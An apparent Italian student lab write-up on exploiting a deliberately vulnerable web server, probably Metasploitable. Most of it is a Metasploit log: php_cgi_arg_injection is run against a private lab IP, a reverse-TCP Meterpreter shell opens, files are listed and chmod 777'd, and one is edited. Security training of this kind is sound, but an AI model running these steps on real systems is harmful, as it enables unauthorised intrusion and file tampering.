Esercizio S7-L3

Un exploit è un codice malevolo che agisce su una vulnerabilità già presente nel sistema, che essa sia nota o non nota.

L'esercizio di oggi prevedeva exploitare phpmyadmin.

Utilizzando l'exploit multi/http/php_cgi_arg_injection e aver settato l'rhosts è stato possibile creare una sessione.

In meterpreter poi è stato possibile muoversi in libertà, spostandosi anche sulla twiki e modificare dei file o creare directory.

```
msf6 > use 8
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/php_cgi_arg_injection) > set rhosts 192.168.1.40
rhosts => 192.168.1.40
msf6 exploit(multi/http/php_cgi_arg_injection) > run

[*] Started reverse TCP handler on 192.168.1.25:4444
[*] Sending stage (39927 bytes) to 192.168.1.40
[*] Meterpreter session 1 opened (192.168.1.25:4444 → 192.168.1.40:54348) at 2023-11-08 15:45:3

meterpreter > ls
Listing: /var/www
==================

Mode              Size            Type  Last modified                     Name
----              ----            ----  -------------                     ----
041777/rwxrwxrwx  17592186048512  dir   182042302250-03-10 16:10:13 +0100  dav
040755/rwxr-xr-x  17592186048512  dir   182042482449-05-12 17:17:21 +0200  dvwa
100644/rw-r--r--  3826815861627   fil   182042311505-02-18 00:13:29 +0100  index.php
040755/rwxr-xr-x  17592186048512  dir   181964996940-05-31 20:38:18 +0200  mutillidae
040755/rwxr-xr-x  17592186048512  dir   181964937872-02-08 19:03:20 +0100  phpMyAdmin
100644/rw-r--r--  81604378643     fil   173039983614-08-05 08:08:28 +0200  phpinfo.php
040755/rwxr-xr-x  17592186048512  dir   181965051925-08-30 19:04:46 +0200  test
040775/rwxrwxr-x  87960930242560  dir   173083439924-11-22 13:50:32 +0100  tikiwiki
040775/rwxrwxr-x  87960930242560  dir   173040024853-07-12 00:58:19 +0200  tikiwiki-old
040755/rwxr-xr-x  17592186048512  dir   173046477589-12-24 22:59:26 +0100  twiki
```

```
Mode              Size              Type  Last modified                     Name
----              ----              ----  -------------                     ----
100644/rw-r--r--  1947668884941669  fil   142111537762-12-15 06:20:58 +0100  TWikiDocumentation.html
100644/rw-r--r--  225129300806849   fil   142111537899-01-21 12:49:15 +0100  TWikiHistory.html
040755/rwxr-xr-x  17592186048512    dir   142111319319-02-03 11:46:13 +0100  bin
040755/rwxr-xr-x  17592186048512    dir   231299484204-05-19 22:36:37 +0200  data
040755/rwxr-xr-x  17592186048512    dir   231300014866-06-14 06:33:20 +0200  gimp_è_stato_qui
100644/rw-r--r--  3358664426254     fil   141781607365-02-06 12:09:35 +0100  index.html
040755/rwxr-xr-x  17592186048512    dir   173047578792-01-14 14:59:53 +0100  lib
100644/rw-r--r--  83494164253680    fil   142110804172-08-28 22:33:48 +0200  license.txt
040755/rwxr-xr-x  17592186048512    dir   141226543141-06-15 17:09:14 +0200  pub
100644/rw-r--r--  18614388265198    fil   231300005339-04-22 09:33:30 +0200  readme.txt
040755/rwxr-xr-x  17592186048512    dir   141491181008-10-17 23:00:33 +0200  templates

meterpreter > chmod 777 readme.txt
meterpreter > ls
Listing: /var/www/twiki
=======================

Mode              Size              Type  Last modified                     Name
----              ----              ----  -------------                     ----
100644/rw-r--r--  1947668884941669  fil   142111537762-12-15 06:20:58 +0100  TWikiDocumentation.html
100644/rw-r--r--  225129300806849   fil   142111537899-01-21 12:49:15 +0100  TWikiHistory.html
040755/rwxr-xr-x  17592186048512    dir   142111319319-02-03 11:46:13 +0100  bin
040755/rwxr-xr-x  17592186048512    dir   231299484204-05-19 22:36:37 +0200  data
040755/rwxr-xr-x  17592186048512    dir   231300014866-06-14 06:33:20 +0200  gimp_è_stato_qui
100644/rw-r--r--  3358664426254     fil   141781607365-02-06 12:09:35 +0100  index.html
040755/rwxr-xr-x  17592186048512    dir   173047578792-01-14 14:59:53 +0100  lib
100644/rw-r--r--  83494164253680    fil   142110804172-08-28 22:33:48 +0200  license.txt
040755/rwxr-xr-x  17592186048512    dir   141226543141-06-15 17:09:14 +0200  pub
100777/rwxrwxrwx  18614388265198    fil   231300005339-04-22 09:33:30 +0200  readme.txt
040755/rwxr-xr-x  17592186048512    dir   141491181008-10-17 23:00:33 +0200  templates

meterpreter > edit readme.txt
meterpreter >
```